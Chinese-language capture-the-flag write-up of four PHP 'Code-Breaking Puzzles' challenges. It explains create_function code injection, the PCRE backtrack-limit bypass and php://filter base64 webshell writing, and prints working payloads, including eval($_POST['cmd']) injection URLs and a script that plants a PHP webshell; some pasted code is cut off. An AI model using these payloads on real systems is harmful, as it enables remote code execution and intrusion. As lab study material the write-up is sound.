尼玛一道题做不动,回炉重造,看完师傅们的WP,学习记录。
平台地址
0x01 easy - function
这里直接蒙蔽了,不知道不用字母数字以及下划线的情况下如何调用函数,思路走偏了,其实看到 ^$
应该想到 fuzz 一下开头和结尾的特殊字符的,正确的解法是在函数前面/
,/function
。P牛在小密圈给出的解释是:
code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?奇技淫巧 其实简单的不行,php里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
接下来需要找到某个函数第二个参数可控时可以利用的。函数create_function()
非常合适,这里做一下记录create_function()代码注入
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
例如:
create_function('$fname','echo $fname."Zhang"')
function fT($fname) {
echo $fname."Zhang";
}
有问题的代码
执行函数为:
#源代码:
function fT($a) {
echo "test".$a;
}
注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}
最终 payload 为 http://51.158.75.42:8087/?action=%5ccreate_function&arg=}eval($_POST['cmd']);//
0x02 easy - pcrewaf
].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这道题真的非常有意思,看完 P 牛的文章 PHP利用PCRE回溯次数限制绕过某些安全限制 真的感觉学到了很多,在此记录。单独抠出来试一试。
].*/is', $data);
}
var_dump(is_php($_POST['data']));
?>
import requests
payload = ""
data = {"data":payload}
print(requests.post(url="http://127.0.0.1/test.php",data=data).text)
当 payload
为 " 时,返回为
int(1)
当 payload
为 " 时,返回为
bool(false)
,成功 bypass。
现在来详细的学一下回溯的问题。在php的pcre扩展中,提供了两个设置项
pcre.backtrack_limit //最大回溯数
pcre.recursion_limit //最大嵌套数
成功 bypassis_php
的检测,就是就和设置项backtrack_limit
有关系,首先得搞清楚什么是回朔,举两个例子(贪婪匹配 与 非贪婪匹配):
源字符串: baaa
正则表达式: /.*b.*/
首先.\*
取得控制权,因为是贪婪匹配直接匹配到末尾(baaa)
,但是显示是不对的,后面还有个b
没有匹配到,所以开始回溯,向前一位(baa)
,再和后面的b
匹配,仍无法匹配到,继续回溯,向前一位(ba)
,直到匹配到b
,共产生了 3 次回溯。
源字符串: aaab
正则表达式: /.*?b/
首先 .\*\?
取得控制权,因为是非贪婪匹配,所以先把控制权给 b
,b
明显是匹配不上的(aaab)
,所以开始回溯把匹配权给.\*\?
, .\*\?
匹配一个 a
后继续把控制权让给b
,此时b
仍然匹配不上(aab)
,继续回溯....... 共产生了 3 次回溯。
默认的backtrack_limit
是100000
,如果 回溯次数如果大于 backtrack_limit
则会匹配失败,停止回溯返回 false
,所以如果用 preg_match
对字符串进行匹配,一定要使用 ===
全等号来判断返回值。题目最终 payload
如下
import requests
files = {"file":"
0x03 easy - phpmagic
Domain Detail
$log_name
、$output
均可控,但 $output
经过了 htmlspecialchars()
的消毒。这里以前再小密圈里看到过绕过技巧,印象深刻。
谈一谈php://filter的妙用
这里可以通过为协议来进行绕过,$log_name = php://filter/write=convert.base64-decode/resource=shell.php,$domain=base64encode(code)
这里还需要注意一下 base64 算法解码时的问题,位数需要为4的整数倍,并且因为我们是插入到中间,所以后面不能有==
。
当$content被加上了以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是没有了。
最后还有一个 pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)
验证,只需要再后面加 /.
即可,这样pathinfo()
取不到后缀,而 file_put_contents()
写入的时候又会递归删除 /.
。综上,最后的 payload 如下:
import requests
headers ={"host":"p"}
data = {"domain":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg","log":"hp://filter/write=convert.base64-decode/resource=cc.php/."}
r = requests.post(url="http://51.158.75.42:8082/index.php",data=data,headers=headers)
print(r.text)
#flag{8fd9046cde2d53d1ceea8970286fd38c}
0x04 easy - phplimit
/[^\W]+\((?R)?\)/
这是一个递归匹配,具体参考这里 PHP正则之递归匹配。匹配类似function(function(function()))
,先看一下 phpinfo() 的信息 http://51.158.75.42:8084/?code=phpinfo();
PHP Version 5.6.38
,找一下这个版本有没有相应的函数可以利用。可以使用 get_defined_vars()
获取外部传如的变量
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
然后用操作数组元素的几个函数来选择传入的值
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
next() - 将内部指针指向数组中的下一个元素,并输出
prev() - 将内部指针指向数组中的上一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
payload
: http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=phpinfo();
http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=print(file_get_contents(%27/var/www/flag_phpbyp4ss%27));
参考:
Code-Breaking Puzzles做题记录